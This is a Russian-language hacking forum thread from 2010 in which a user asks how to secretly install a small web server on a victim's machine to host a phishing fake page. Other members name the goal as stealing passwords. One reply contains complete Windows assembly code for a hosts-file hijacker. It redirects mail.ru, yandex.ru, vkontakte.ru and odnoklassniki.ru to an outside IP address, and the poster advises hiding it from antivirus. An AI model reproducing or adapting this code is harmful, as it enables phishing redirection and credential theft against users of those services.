Скрытая установка веб сервера

Discussion in 'PHP' started by dr.Web, 13 Mar 2010.

  1. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    Как такое реализовать.
    Нужен только php
    и забиндить любой айпи под сайт 127.0.0.1 или 127.0.0.2
    может кто подобное делал.
     
  2. Deathdreams

    Deathdreams Elder - Старейшина

    Joined:
    8 Nov 2008
    Messages:
    342
    Likes Received:
    116
    Reputations:
    5
    зачем webсервер, только для использования php ?
     
  3. b3

    b3 Banned

    Joined:
    5 Dec 2004
    Messages:
    2,170
    Likes Received:
    1,155
    Reputations:
    202
    Вопрос неясен, тебе нужен ДНС сервер или просто изменений в файле hosts хватит.
     
  4. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    b3 фейк сразу на машине жертвы хочет запускать, так что хватит и hosts'а

    dr.Web денвер, в общем-то достаточно портабелен, а если из него выдернуть лишние компоненты - будет и достаточно легким
     
    _________________________
  5. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    весит он многовато.былоб неплохо еслиб он весил ну пускай 500кб
     
  6. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Без поддержки пхп можно и в 10кб.
    Хочешь пхп - прибавляй 2+мб.
     
  7. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    про 10 кб интересно.расскажи подробнее
     
  8. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    dr.Web http://code.google.com/p/mongoose/ 60 кб в неупакованом виде с поддержкой PHP через CGI

    И вообще список мелких серверов: http://en.wikipedia.org/wiki/Tiny_web_servers
     
    _________________________
  9. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    Сдается мне раз ТС так о размере печется решил троя на php написать )
     
  10. cardons

    cardons Elder - Старейшина

    Joined:
    19 Jul 2005
    Messages:
    778
    Likes Received:
    324
    Reputations:
    83
    Мне больше кажется что он хочет фейк повесить на ту же машину откуда пароли хочет утащить не более.


    Вот тебе подменщик хостс на ASM правда надо от антивирей спрятать :)
    Code:
    format PE GUI 4.0
    entry start
    
    include '..\INCLUDE\win32a.inc'
    
    section '.text' code readable executable
    start:
     invoke  GetSystemDirectory,SystemDirectory,MAX_DIR
     cinvoke wsprintf,HostsFile,FileFormat,SystemDirectory
    
     invoke  CreateFile,HostsFile,GENERIC_WRITE,0,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
     xchg	 eax,ebx
     inc	 eax
     jz	 exit
     invoke  SetFilePointer,ebx,0,0,FILE_END
     invoke  WriteFile,ebx,HostsData,HostsDataSize,Bytes,0
     invoke  CloseHandle,ebx
    exit:
     ret
    
    section '.data' data readable writeable
    MAX_DIR = 128
    SystemDirectory db MAX_DIR dup(?)
    FileFormat db '%s\drivers\etc\hosts',0
    HostsFile db MAX_PATH dup(?)
    HostsData:
     db '95.168.174.224 mail.ru',13,10
     db '95.168.174.224 www.mail.ru',13,10
     db '95.168.174.224 www.yandex.ru',13,10
     db '95.168.174.224 yandex.ru',13,10
     db '95.168.174.224 www.vkontakte.ru',13,10
     db '95.168.174.224 vkontakte.ru',13,10
     db '95.168.174.224 www.odnoklasniki.ru',13,10
     db '95.168.174.224 odnoklasniki.ru',13,10
     db '95.168.174.224 odnoklassniki.ru',13,10
     db '95.168.174.224 www.odnoklassniki.ru',13,10
    HostsDataSize = $-HostsData
    Bytes dd ?
    
    data import
     library kernel32,'KERNEL32.dll',user32,'USER32.dll'
     include '..\INCLUDE\api\kernel32.inc'
     include '..\INCLUDE\api\user32.inc'
    end data
    
    section '.rsrc' readable resource from 'main.res'
    
     
  11. ntldr

    ntldr Elder - Старейшина

    Joined:
    4 Dec 2007
    Messages:
    367
    Likes Received:
    140
    Reputations:
    23
    если под фейк не проще ли проксировать просто а что надо логировать?
     
  12. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    что значит проксировать?

    мне надо чтоб независимо от хостинга у юзера показывалась моя страничка, сами понимаете абузы и пр.
     
  13. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    привет


    поподробнее рассскажи про сервер в 10 кб. я подумал php там не обязателен.
     
  14. nerezus

    nerezus Banned

    Joined:
    12 Aug 2004
    Messages:
    3,191
    Likes Received:
    729
    Reputations:
    266
    Создаешь сокет, слушаешь, при соединении создаешь поток, которым выполняешь нужные действия.
    Пара килобайт и ночь времени при реализации методом "копипастить-говнокодить".

    P.S. Это(курсовая) было мной сделано в ночь перед экзаменом, с нуля. Я тогда первый раз щупал соксы на C. Успел.
     
  15. dr.Web

    dr.Web Member

    Joined:
    2 Feb 2009
    Messages:
    7
    Likes Received:
    22
    Reputations:
    10
    а примеры есть какие то?
    ато я с сокетами никогда не работал.